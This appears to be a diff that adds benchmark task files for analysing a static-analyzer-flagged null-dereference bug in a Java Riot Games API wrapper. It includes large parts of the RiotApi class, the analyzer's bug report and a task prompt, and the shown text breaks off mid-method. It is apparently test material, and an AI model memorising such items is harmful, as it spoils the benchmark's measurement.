+     *
+     */
+    public RuneList getDataRuneList(Region region, String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList() throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region, String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList() throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region, String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList() throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions() throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(getRegion(), getKey());
+    }
+    
+    /**
+    *
+    */
+   public List<String> getDataLanguages(Region region) throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(region.getName(), getKey());
+   }
+
+   /**
+    *
+    */
+   public List<String> getDataLanguages() throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(getRegion(), getKey());
+   }
+   
+    /**
+    *
+    */
+   public List<Shard> getShards() throws RiotApiException {
+
+       return StatusMethod.getShards();
+   }
+   
+   /**
+   *
+   */
+  public ShardStatus getShardStatus(Region region) throws RiotApiException {
+
+      return StatusMethod.getShardStatus(region.getName());
+  }
+
+   /**
+   *
+   */
+  public ShardStatus getShardStatus() throws RiotApiException {
+
+     return StatusMethod.getShardStatus(getRegion());
+ }
+  
+	  /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), null, null);
+	 }
+
+	  /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), null, null);
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames(Region region) throws RiotApiException {
+	
+	     return FeaturedGamesMethod.getFeaturedGames(region.getName(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames() throws RiotApiException {
+			
+	     return FeaturedGamesMethod.getFeaturedGames(getRegion(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public CurrentGameInfo getCurrentGameInfo(PlatformId platformId, long summonerId) throws RiotApiException {
+	
+	     return CurrentGameMethod.getCurrentGameInfo(platformId, getKey(), summonerId);
+	 }
+	 
+    /**
+     * Get the currently set season
+     *
+     * @return The currently set season
+     */
+    public String getSeason() {
+    	if(season == null){
+    		return null;
+    	}
+        return season.getName();
+    }
+
+    /**
+     * Get the currently set API key
+     *
+     * @return The currently set API key
+     */
+    public String getKey() {
+        return key;
+    }
+
+    /**
+     * Get the currently set region
+     *
+     * @return The currently set region
+     * @throws  
+     */
+    public String getRegion() {
+        return region.getName();
+    }
+
+    /**
+     * Set the season
+     *
+     * @param season The season to set
+     */
+    public void setSeason(Season season) {
+        this.season = season;
+    }
+
+    /**
+     * Set the API key
+     *
+     * @param key The API key to set
+     */
+    public void setKey(String key) {
+        this.key = key;
+    }
+
+    /**
+     * Set the region
+     *
+     * @param region The region to set
+     */
+    public void setRegion(Region region) {
+        this.region = region;
+        setEndpoint();
+    }
+
+    /**
+     * Get the base URL for all API requests
+     *
+     * @return The base URL for all API requests
+     */
+    public String getEndpoint() {
+        return endpoint;
+    }
+
+    private void setEndpoint() {
+        this.endpoint = region.getEndpoint();
+    }
+    
+    public RiotApi clone() {
+    	return new RiotApi(this.key, this.region);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `getDataMastery(...)` at line 1545.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Mastery RiotApi.getDataMastery(int)
+
+### Procedure Id:
+main.java.riotapi.RiotApi.getDataMastery(int):dto.Static.Mastery.509bd5fa5c67f369ca4b99538493b9b6
+
+### File:
+src/main/java/riotapi/RiotApi.java
+
+### Key:
+RiotApi.java|getDataMastery|NULL_DEREFERENCE
+
+### Node Key:
+71bbd039293bbda847a7c7191bb8b301
+
+### Hash:
+17c1219b56fb53e4a9b87d0c914ab0e2
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8363/instruction.md b/inferredbugs-8363/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..56b2ffe3c09e0bae0d72147733ea22e2838022ed
--- /dev/null
+++ b/inferredbugs-8363/instruction.md
@@ -0,0 +1,1906 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riot-api-java
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package main.java.riotapi;
+
+/**
+ * Riot Games API Java Library
+ * riot-api-java
+ * by Taylor Caldwell - @rithms
+ * http://rithms.im 
+ */
+
+/*
+ * Copyright 2014 Taylor Caldwell
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import java.util.List;
+import java.util.Map;
+
+import constant.PlatformId;
+import constant.QueueType;
+import constant.Region;
+import constant.Season;
+import constant.staticdata.ChampData;
+import constant.staticdata.ItemData;
+import constant.staticdata.ItemListData;
+import constant.staticdata.MasteryData;
+import constant.staticdata.MasteryListData;
+import constant.staticdata.RuneData;
+import constant.staticdata.RuneListData;
+import constant.staticdata.SpellData;
+import dto.Champion.*;
+import dto.CurrentGame.CurrentGameInfo;
+import dto.FeaturedGames.FeaturedGames;
+import dto.Game.RecentGames;
+import dto.League.League;
+import dto.Match.MatchDetail;
+import dto.MatchHistory.PlayerHistory;
+import dto.Team.Team;
+import dto.Static.ChampionList;
+import dto.Static.GameMapList;
+import dto.Static.Item;
+import dto.Static.ItemList;
+import dto.Static.LanguageStrings;
+import dto.Static.Mastery;
+import dto.Static.MasteryList;
+import dto.Static.Realm;
+import dto.Static.Rune;
+import dto.Static.RuneList;
+import dto.Static.SummonerSpell;
+import dto.Static.SummonerSpellList;
+import dto.Stats.PlayerStatsSummaryList;
+import dto.Stats.RankedStats;
+import dto.Status.Shard;
+import dto.Status.ShardStatus;
+import dto.Summoner.MasteryPages;
+import dto.Summoner.RunePages;
+import dto.Summoner.Summoner;
+import method.*;
+
+public class RiotApi {
+
+    /**
+     * The base URL for all API requests
+     */
+    private String endpoint = Region.GLOBAL.getEndpoint();
+
+    private Region region = Region.NA; // North American region default
+    private Season season = null;
+    private String key;
+
+    public RiotApi() {
+    }
+
+    public RiotApi(String key) {
+        this.setKey(key);
+    }
+
+    public RiotApi(String key, Region region) {
+        this.setKey(key);
+        this.setRegion(region);
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * Get all the champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the set region when
+     * freeToPlay is true A list of all the champions for the set region when
+     * freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all champions for a given region
+     *
+     * @param region The desired region
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the given region
+     * when freeToPlay is true A list of all the champions for the given region
+     * when freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region, boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all free to play champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the free to play champions for the given region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), true);
+    }
+
+    /**
+     * Get all free to play champions for a set region
+     *
+     * @return A list of all the free to play champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), true);
+    }
+
+    /**
+     * Get a champion by id for a given region
+     *
+     * @param region The desired region
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(Region region, int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(region.getEndpoint(), region.getName(), getKey(), champId);
+    }
+
+    /**
+     * Get a champion by id for a set region
+     *
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(getEndpoint(), getRegion(), getKey(), champId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(Region region, long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(String summonerIds) throws RiotApiException {
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * 
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues() throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * 
+     * @param region
+     * @param queueType
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region, QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey(), queueType);
+    }
+
+    /**
+     * 
+     * @param queueType
+     * @throws RiotApiException
+     * @return League
+     */
+    public League getChallengerLeagues(QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey(), queueType);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(Region region, String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param region The desired region
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(Region region, String summonerName) throws RiotApiException {
+
